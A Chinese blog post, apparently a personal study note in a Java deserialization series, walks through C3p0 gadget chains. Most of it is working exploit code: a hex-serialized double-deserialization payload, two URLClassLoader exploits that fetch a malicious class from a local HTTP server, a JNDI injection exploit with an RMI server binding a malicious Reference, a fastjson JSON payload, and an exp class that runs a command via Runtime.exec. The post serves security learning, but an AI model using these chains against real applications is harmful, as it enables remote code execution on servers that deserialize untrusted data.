C3p0的多种利用方式|Java反序列化(十四)

C3p0的多种利用方式|Java反序列化(十四)

C3p0这个依赖里面的几条调用链感觉还是挺有意思的, 但是学习的时候遇到了一点障碍, 就是看网上的学习文章师傅们都说有三条Gadget调用链, 分别是HEX 序列化字节加载器反序列化, URLClassLoader远程类加载, JNDI注入, 但是我实际学习URLClassLoader远程加载的时候看到师傅们讲解demo的调用链和yso中的并不一样, 后面自己对比看了才发现原来是触发点不同, yso项目paylaod中的C3p0调用链是一条完整的反序列化链子, 而网上看到的大多都是fastjson触发setter方法调用的链子, 下面已经进行了区分

最后就是JNDI注入, 这个挺离谱的, 昨天本地测试的时候没有成功, 我还以为是高版本JDK的问题, 结果代码完全没改, 今天又可以了,呆住了.....

HEX 序列化字节加载器反序列化

触发条件: 调用setUserOverridesAsString函数, 参数为反序列化数据经过处理后生成的字符串

单纯使用C3p0即可进行二次反序列化, 触发条件是执行setUserOverridesAsString, 反序列化的二进制数据流从输入的参数获取, 一般这个调用链用在fastjson中, 因为fastjson可以任意调用对象的setter方法, 且反序列化数据也刚好从参数取出从而满足要求

Gadget:

调用链

com.mchange.v2.c3p0.AbstractComboPooledDataSource#setUserOverridesAsString
    com.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSourceBase#setUserOverridesAsString
        java.beans.VetoableChangeSupport#fireVetoableChange
            java.beans.VetoableChangeSupport#fireVetoableChange
                java.beans.VetoableChangeListener#vetoableChange
                    com.mchange.v2.c3p0.WrapperConnectionPoolDataSource#setUpPropertyListeners
                        com.mchange.v2.c3p0.impl.C3P0ImplUtils#parseUserOverridesAsString
                            com.mchange.v2.ser.SerializableUtils#fromByteArray(byte[])
                                com.mchange.v2.ser.SerializableUtils#deserializeFromByteArray
                                    java.io.ObjectInputStream#readObject()

demo

(代码写在yso项目里面):

package ysoserial.payloads.h0cksrExtend;
import com.mchange.lang.ByteUtils;
import com.mchange.v2.c3p0.ComboPooledDataSource;
import ysoserial.Serializer;
import ysoserial.payloads.CommonsBeanutils1;

public class C3p0demo {
    public static void test() throws Exception {
//      bytes就是二次反序列化的二进制数据流,这里使用CB链进行反序列化测试
        byte[] bytes = Serializer.serialize((new CommonsBeanutils1()).getObject("calc"));
//      注意HexAscii前后都要有一个空格(随便什么字符都行)
        String c3p0hexAscii = "HexAsciiSerializedMap "+ByteUtils.toHexAscii(bytes)+" ";
        new ComboPooledDataSource().setUserOverridesAsString(c3p0hexAscii);
    }

    public static void main(String[] args) throws Exception {
        test();
    }

}

image-20221113231011335

调用链调试

开始的调用链起点setUserOverridesAsString到调用都parseUserOverridesAsString没什么好说的, 几乎就是一路下去就行, 唯一需要满足的条件就是传入的字符串参数uoas不能和对象原本的userOverridesAsString属性值相同即可(一般可以直接忽略这个条件)

虽然是跟链子, 但是不能只跟链子, 还需要了解一下这个过程的一些相关原理和原因, 这里copy一下Java安全攻防之老版本Fastjson的一些不出网利用对这个过程的描述:

com.mchange.v2.c3p0.WrapperConnectionPoolDataSource#WrapperConnectionPoolDataSource

在构造方法中,开启了一个属性的监听器com.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSourceBase#setUserOverridesAsString

在setter方法中,如果修改了userOverridesAsString属性值就会触发监听器,在监听器方法中,如果修改的是userOverridesAsString属性,就会调用到C3P0ImplUtils.parseUserOverridesAsString方法。

com.mchange.v2.c3p0.AbstractComboPooledDataSource#setUserOverridesAsString

image-20221111180546756

com.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSourceBase#setUserOverridesAsString

image-20221111180741121

java.beans.VetoableChangeSupport#fireVetoableChange

image-20221111180906606

java.beans.VetoableChangeListener#vetoableChange

com.mchange.v2.c3p0.WrapperConnectionPoolDataSource#setUpPropertyListeners

image-20221111181023997

com.mchange.v2.c3p0.impl.C3P0ImplUtils#parseUserOverridesAsString

image-20221111181118444

parseUserOverridesAsString

com.mchange.v2.c3p0.impl.C3P0ImplUtils#parseUserOverridesAsString我们可以停下来看一下它是怎么处理传入的数据的:

  1. 获取"HexAsciiSerializedMap"长度+1作为下标起始位置, 获取参数字符串长度-1作为结束下标位置
  2. 将截取到的字符串使用com.mchange.lang.ByteUtils#fromHexAscii转为比特流

处理效果: 会丢弃开头的"HexAsciiSerializedMap"长度+1个字符以及最后一个字符(所以这就是为什么我的demo中会在HexAsciiSerializedMap后面和字符串结尾处加多一个空格的原因了)

后续操作就是将比特流转为一个ObjectInputStream然后执行对象输入流的readObject函数

image-20221111181149892

image-20221111181904662

End ?

所以到这里就完成了反序列化, 同时也执行了yso中的CommonsBeanutils1的反序列化, 但是就此结束了嘛?

并不是的, 现在看去看看是怎么对反序列化后的对象进行处理的:

image-20221111184136970

可以看到, 如果反序列化的对象是IndirectlySerialized实例就会执行getObject函数

    public Object getObject() throws ClassNotFoundException, IOException
    {
        try
        {
            Context initialContext;
            if ( env == null )
            initialContext = new InitialContext();
            else
            initialContext = new InitialContext( env );

            Context nameContext = null;
            if ( contextName != null )
            nameContext = (Context) initialContext.lookup( contextName );

            return ReferenceableUtils.referenceToObject( reference, name, nameContext, env ); 
        }
        catch (NamingException e)
        {
            //e.printStackTrace();
            if ( logger.isLoggable( MLevel.WARNING ) )
            logger.log( MLevel.WARNING, "Failed to acquire the Context necessary to lookup an Object.", e );
            throw new InvalidObjectException( "Failed to acquire the Context necessary to lookup an Object: " + e.toString() );
        }
    }

看一下这个lookup函数在哪些类中实现了

image-20221112022900607

URLClassLoader远程类加载

URLClassLoader远程加载的调用链:

ReferenceSerialized#getObject
    ReferenceableUtils#referenceToObject
        ObjectFactory#getObjectInstance

恶意类(javac编译之后放在http服务上):

import java.io.IOException;

public class exp {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

//    public exp() throws IOException {
//
//        Runtime.getRuntime().exec("calc");
//
//    }

}

image-20221112054221772

image-20221112054815675

用于fastjson的setter触发方式(用法一)

调用链

/*
com.mchange.v2.c3p0.AbstractComboPooledDataSource#setUserOverridesAsString
    com.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSourceBase#setUserOverridesAsString
        java.beans.VetoableChangeSupport#fireVetoableChange
            java.beans.VetoableChangeSupport#fireVetoableChange
                java.beans.VetoableChangeListener#vetoableChange
                    com.mchange.v2.c3p0.WrapperConnectionPoolDataSource#setUpPropertyListeners
                        com.mchange.v2.c3p0.impl.C3P0ImplUtils#parseUserOverridesAsString
                            com.mchange.v2.ser.SerializableUtils#fromByteArray(byte[])
                                com.mchange.v2.ser.SerializableUtils#deserializeFromByteArray
                                    java.io.ObjectInputStream#readObject()  #HEX序列化字节加载器完成反序列化
                            com.mchange.v2.naming.ReferenceIndirector.ReferenceSerialized.getObject #反序列化拓展利用
                                com.mchange.v2.naming.ReferenceableUtils.referenceToObject
                                    java.lang.Class.forName(java.lang.String, boolean, java.lang.ClassLoader)   使用URLClassLoader远程加载获取factory工厂类对象
                                    java.lang.Class.newInstance 将工厂类对象实例化(一般我们直接在工厂类写静态代码就行了)
                                    javax.naming.spi.ObjectFactory.getObjectInstance    从类工厂获取指定的实例化对象

*/

Demo

package ysoserial.payloads.h0cksrExtend;

import com.mchange.lang.ByteUtils;
import com.mchange.v2.c3p0.ComboPooledDataSource;
import com.mchange.v2.naming.ReferenceIndirector;
import com.mchange.v2.ser.IndirectlySerialized;
import ysoserial.Serializer;

import javax.naming.*;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.PrintWriter;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.Enumeration;
import java.util.logging.Logger;

/*
com.mchange.v2.c3p0.AbstractComboPooledDataSource#setUserOverridesAsString
    com.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSourceBase#setUserOverridesAsString
        java.beans.VetoableChangeSupport#fireVetoableChange
            java.beans.VetoableChangeSupport#fireVetoableChange
                java.beans.VetoableChangeListener#vetoableChange
                    com.mchange.v2.c3p0.WrapperConnectionPoolDataSource#setUpPropertyListeners
                        com.mchange.v2.c3p0.impl.C3P0ImplUtils#parseUserOverridesAsString
                            com.mchange.v2.ser.SerializableUtils#fromByteArray(byte[])
                                com.mchange.v2.ser.SerializableUtils#deserializeFromByteArray
                                    java.io.ObjectInputStream#readObject()  #HEX序列化字节加载器完成反序列化
                            com.mchange.v2.naming.ReferenceIndirector.ReferenceSerialized.getObject #反序列化拓展利用
                                com.mchange.v2.naming.ReferenceableUtils.referenceToObject
                                    java.lang.Class.forName(java.lang.String, boolean, java.lang.ClassLoader)   使用URLClassLoader远程加载获取factory工厂类对象
                                    java.lang.Class.newInstance 将工厂类对象实例化(一般我们直接在工厂类写静态代码就行了)
                                    javax.naming.spi.ObjectFactory.getObjectInstance    从类工厂获取指定的实例化对象

*/

public class C3p0_URLClassLoader_01 {
    private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {

        private String className;
        private String url;

        public PoolSource ( String className, String url ) {
            this.className = className;
            this.url = url;
        }

        public Reference getReference () throws NamingException {
            return new Reference("exploit", this.className, this.url);
        }

        public PrintWriter getLogWriter () throws SQLException {return null;}
        public void setLogWriter ( PrintWriter out ) throws SQLException {}
        public void setLoginTimeout ( int seconds ) throws SQLException {}
        public int getLoginTimeout () throws SQLException {return 0;}
        public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
        public PooledConnection getPooledConnection () throws SQLException {return null;}
        public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}

    }

    public static void test() throws Exception {
//      URLClassLoader的触发方式一, 通过setUserOverridesAsString触发二次反序列化对象的.readObject进行远程加载
//      通过修改http服务器上的exp.class来修改执行的代码和命令
        ReferenceIndirector referenceIndirector = new ReferenceIndirector();
        Name name = new Name() {
            @Override
            public Object clone() {
                return null;
            }

            @Override
            public int compareTo(Object obj) {
                return 0;
            }

            @Override
            public int size() {
                return 0;
            }

            @Override
            public boolean isEmpty() {
                return false;
            }

            @Override
            public Enumeration<String> getAll() {
                return null;
            }

            @Override
            public String get(int posn) {
                return null;
            }

            @Override
            public Name getPrefix(int posn) {
                return null;
            }

            @Override
            public Name getSuffix(int posn) {
                return null;
            }

            @Override
            public boolean startsWith(Name n) {
                return false;
            }

            @Override
            public boolean endsWith(Name n) {
                return false;
            }

            @Override
            public Name addAll(Name suffix) throws InvalidNameException {
                return null;
            }

            @Override
            public Name addAll(int posn, Name n) throws InvalidNameException {
                return null;
            }

            @Override
            public Name add(String comp) throws InvalidNameException {
                return null;
            }

            @Override
            public Name add(int posn, String comp) throws InvalidNameException {
                return null;
            }

            @Override
            public Object remove(int posn) throws InvalidNameException {
                return null;
            }
        };
        referenceIndirector.setName(name);
        IndirectlySerialized indirectlySerialized = referenceIndirector.indirectForm(
            new PoolSource("exp","http://127.0.0.1:4455/")
        );
        byte[] bytes = Serializer.serialize(indirectlySerialized);
        String c3p0hexAscii = "HexAsciiSerializedMap "+ByteUtils.toHexAscii(bytes)+" ";
        new ComboPooledDataSource().setUserOverridesAsString(c3p0hexAscii);
    }

    public static void main(String[] args) throws Exception {
        test();
    }
}

先在服务器的4455端口挂开放server放一个exp的编译文件

import java.io.IOException;

public class exp {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public exp() throws IOException {

        Runtime.getRuntime().exec("calc");

    }

}

然后执行测试代码即可触发远程加载exp.class进行类实例化执行静态代码

image-20221113215510929

完整的反序列化触发方式(用法二)

调用链:

/*
后半部分和前面是一样, 不过就是触发ReferenceSerialized#getObject的方式不同, PoolBackedDataSourceBase会在反序列化后
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase.readObject
    com.mchange.v2.ser.IndirectlySerialized.getObject
        com.mchange.v2.naming.ReferenceIndirector.ReferenceSerialized.getObject #反序列化拓展利用
            com.mchange.v2.naming.ReferenceableUtils.referenceToObject
                java.lang.Class.forName(java.lang.String, boolean, java.lang.ClassLoader)   使用URLClassLoader远程加载获取factory工厂类对象
                java.lang.Class.newInstance 将工厂类对象实例化(一般我们直接在工厂类写静态代码就行了)
                javax.naming.spi.ObjectFactory.getObjectInstance    从类工厂获取指定的实例化对象
*/

Demo

package ysoserial.payloads.h0cksrExtend;

import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import ysoserial.Deserializer;
import ysoserial.Serializer;
import ysoserial.payloads.util.Reflections;

import javax.naming.*;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.PrintWriter;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
/*
调用链:
后半部分和前面是一样, 不过就是触发ReferenceSerialized#getObject的方式不同, PoolBackedDataSourceBase会在反序列化后
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase.readObject
    com.mchange.v2.ser.IndirectlySerialized.getObject
        com.mchange.v2.naming.ReferenceIndirector.ReferenceSerialized.getObject #反序列化拓展利用
            com.mchange.v2.naming.ReferenceableUtils.referenceToObject
                java.lang.Class.forName(java.lang.String, boolean, java.lang.ClassLoader)   使用URLClassLoader远程加载获取factory工厂类对象
                java.lang.Class.newInstance 将工厂类对象实例化(一般我们直接在工厂类写静态代码就行了)
                javax.naming.spi.ObjectFactory.getObjectInstance    从类工厂获取指定的实例化对象
*/

public class C3p0_URLClassLoader_02 {
    private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {

        private String className;
        private String url;

        public PoolSource ( String className, String url ) {
            this.className = className;
            this.url = url;
        }

        public Reference getReference () throws NamingException {
            return new Reference("exploit", this.className, this.url);
        }
        public PrintWriter getLogWriter () throws SQLException {return null;}
        public void setLogWriter ( PrintWriter out ) throws SQLException {}
        public void setLoginTimeout ( int seconds ) throws SQLException {}
        public int getLoginTimeout () throws SQLException {return 0;}
        public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
        public PooledConnection getPooledConnection () throws SQLException {return null;}
        public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}

    }

    public static void test() throws Exception {
//      URLClassLoader的触发方式二, 直接反序列化完成一步到位
//      反序列化执行的readobject位于PoolBackedDataSourceBase, PoolBackedDataSource就是PoolBackedDataSourceBase的继承子类
        PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
        Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b,
            new C3p0_URLClassLoader_02.PoolSource("exp", "http://127.0.0.1:4455/")
        );
        Deserializer.deserialize(
            Serializer.serialize(b)
        );
    }

    public static void main(String[] args) throws Exception {
        test();
    }
}

先在服务器的4455端口挂开放server放一个exp的编译文件

import java.io.IOException;

public class exp {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public exp() throws IOException {

        Runtime.getRuntime().exec("calc");

    }

}

然后执行测试代码即可触发远程加载exp.class进行类实例化执行静态代码

image-20221113215226980

JNDI注入

调用链

com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource#setLoginTimeout
    com.mchange.v2.c3p0.WrapperConnectionPoolDataSource#setLoginTimeout
        com.mchange.v2.c3p0.JndiRefForwardingDataSource#setLoginTimeout
            com.mchange.v2.c3p0.JndiRefForwardingDataSource#inner
                com.mchange.v2.c3p0.JndiRefForwardingDataSource#dereference
                    javax.naming.InitialContext#lookup(java.lang.String)

Demo

package ysoserial.payloads.h0cksrExtend;

import com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource;
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
import ysoserial.payloads.util.Reflections;

/*
调用链:
com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource#setLoginTimeout
    com.mchange.v2.c3p0.WrapperConnectionPoolDataSource#setLoginTimeout
        com.mchange.v2.c3p0.JndiRefForwardingDataSource#setLoginTimeout
            com.mchange.v2.c3p0.JndiRefForwardingDataSource#inner
                com.mchange.v2.c3p0.JndiRefForwardingDataSource#dereference
                    javax.naming.InitialContext#lookup(java.lang.String)

 */

public class C3p0_JNDI {
    public static void test() throws Exception {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
//        InitialContext ctx = new InitialContext();
//        ctx.lookup( "rmi://127.0.0.1:1099/exp" );
//        System.exit(0);
//      会调用javax.naming.InitialContext.getURLOrDefaultInitCtx(java.lang.String)获取远程上下文
//      javax.naming.Context.lookup(java.lang.String)加载远程地址
        String eviljndi = "rmi://127.0.0.1:1099/exp";

        JndiRefConnectionPoolDataSource jndiRefConnectionPoolDataSource = new JndiRefConnectionPoolDataSource();

        WrapperConnectionPoolDataSource wrapperConnectionPoolDataSource = new WrapperConnectionPoolDataSource();

        Object end = Reflections.getFieldValue(jndiRefConnectionPoolDataSource,"jrfds");
        Reflections.setFieldValue(end,"jndiName",eviljndi);

        Reflections.setFieldValue(wrapperConnectionPoolDataSource,"nestedDataSource",end);

        Reflections.setFieldValue(jndiRefConnectionPoolDataSource,"wcpds",wrapperConnectionPoolDataSource);

        jndiRefConnectionPoolDataSource.setLoginTimeout(0);

    }
    public static void main(String[] args) throws Exception {
        test();
    }
}

和上面一样先吧exp.class文件挂在一个开放4455端口的Server服务上, 然后运行下面代码开启一个RMI服务指定exp类加载的时候返回的Reference对象执行Server的exp.class

exp.java(javac exp.java编译得到exp.class):

import java.io.IOException;

public class exp {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public exp() throws IOException {

        Runtime.getRuntime().exec("calc");

    }

}

RMI_SERVER.java(运行rmi服务将绑定exp.class):

package ysoserial.payloads.h0cksrExtend;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class RMI_SERVER {
    public static void register() throws Exception{
        LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("expClass","exp","http://127.0.0.1:4455");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(reference);
        Naming.bind("rmi://127.0.0.1:1099/exp",refObjWrapper);
        System.out.println("Registry运行中......");
    }

    public static void main(String[] args) throws Exception{
        register();
    }
}

image-20221113222512009

运行RMI服务之后就可以执行测试代码了

image-20221113222300052

另外因为这里使用的是JndiRefConnectionPoolDataSource#setLoginTimeout, 触发点为一个int类型单参数的setter函数, 可以通过fastjson触发使用

fastjsonExp:

{"@type":
    "com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource",
    "JndiName":"rmi://127.0.0.1:1099/exp",
    "LoginTimeout":0
}

不出网打Tomcat8原生工厂类EL表达式注入

无fastjson且不出网打Tomcat, 这点其实早在从羊城杯一道题学习高版本JDK下JNDI的利用就有用过了, 另外看到一篇文章中有道例题讲解挺好的这里留个链接学习一下: C3P0不出网利用链构造

配题:Dest0g3 520迎新赛——ljctr

出题人WP: ljctr wp

参考链接:

JAVA反序列化之C3P0不出网利用

Java安全之C3P0链利用与分析

Java安全学习——C3P0链

2022_11_13 第十二周星期六 很晚很晚....

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇